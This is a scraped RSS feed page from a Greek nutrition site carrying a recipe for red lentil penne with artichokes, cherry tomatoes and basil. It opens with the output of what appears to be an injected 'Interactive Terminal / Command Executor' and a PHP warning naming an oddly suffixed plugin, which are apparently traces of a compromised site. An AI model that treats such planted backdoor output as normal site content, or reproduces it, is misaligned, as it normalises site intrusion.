AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor


Warning: Cannot modify header information - headers already sent by (output started at /home/valia/public_html/wp-content/plugins/cache-optimizer-6fbc/cache-optimizer-6fbc.php:27) in /home/valia/public_html/wp-includes/feed-rss2.php on line 8
φακές – Nutricenter https://valiagrigoriou.com Valia Grigoriou Fri, 12 Jul 2024 04:54:58 +0000 el hourly 1 https://wordpress.org/?v=6.9.4 https://valiagrigoriou.com/wp-content/uploads/2021/08/cropped-Untitled-1-100x100.png φακές – Nutricenter https://valiagrigoriou.com 32 32 Συνταγή: #Πένες από κόκκινες φακές, με αγκινάρες, ντοματίνια και βασιλικό https://valiagrigoriou.com/%cf%83%cf%85%ce%bd%cf%84%ce%b1%ce%b3%ce%ae-%cf%80%ce%ad%ce%bd%ce%b5%cf%82-%ce%b1%cf%80%cf%8c-%ce%ba%cf%8c%ce%ba%ce%ba%ce%b9%ce%bd%ce%b5%cf%82-%cf%86%ce%b1%ce%ba%ce%ad%cf%82-%ce%bc%ce%b5-%ce%b1/ Fri, 12 Jul 2024 04:54:53 +0000 https://valiagrigoriou.com/?p=9001

Για 4 μερίδες:

  • 400 γρ. πένες από κόκκινες φακές
  • 5 αγκινάρες, καθαρισμένες και κομμένες σε φέτες
  • 2 φρέσκα κρεμμυδάκια, ψιλοκομμένα
  • 200 γρ. ντοματίνια
  • 6 φύλλα βασιλικό
  • 100 ml λευκό και ξηρό κρασί
  • 80 ml ελαιόλαδο
  • αλάτι, πιπέρι 

Εκτέλεση:

  • Σοτάρουμε τα φρέσκα κρεμμυδάκια και τις αγκινάρες σε ελαιόλαδο για 4-5 λεπτά, μέχρι να ροδίσουν.
  • Αλατοπιπερώνουμε και ρίχνουμε το κρασί. Αφήνουμε 2 λεπτά να εξατμιστεί το αλκοόλ και μετριάζουμε τη φωτιά.
  • Μαγειρεύουμε για άλλα 10-12 λεπτά, μέχρι να μαλακώσουν οι αγκινάρες.
  • Ρίχνουμε τα ντοματίνια και τον βασιλικό, ανακατεύουμε και τραβάμε από τη φωτιά.
  • Παράλληλα, βράζουμε τις πένες.
  • Στραγγίζουμε τις πένες και τις αδειάζουμε μέσα στην κατσαρόλα με τις αγκινάρες.
  • Ανακατεύουμε και σερβίρουμε τις πένες από κόκκινες φακές, με φρέσκες αγκινάρες, ντοματίνια και βασιλικό.
]]>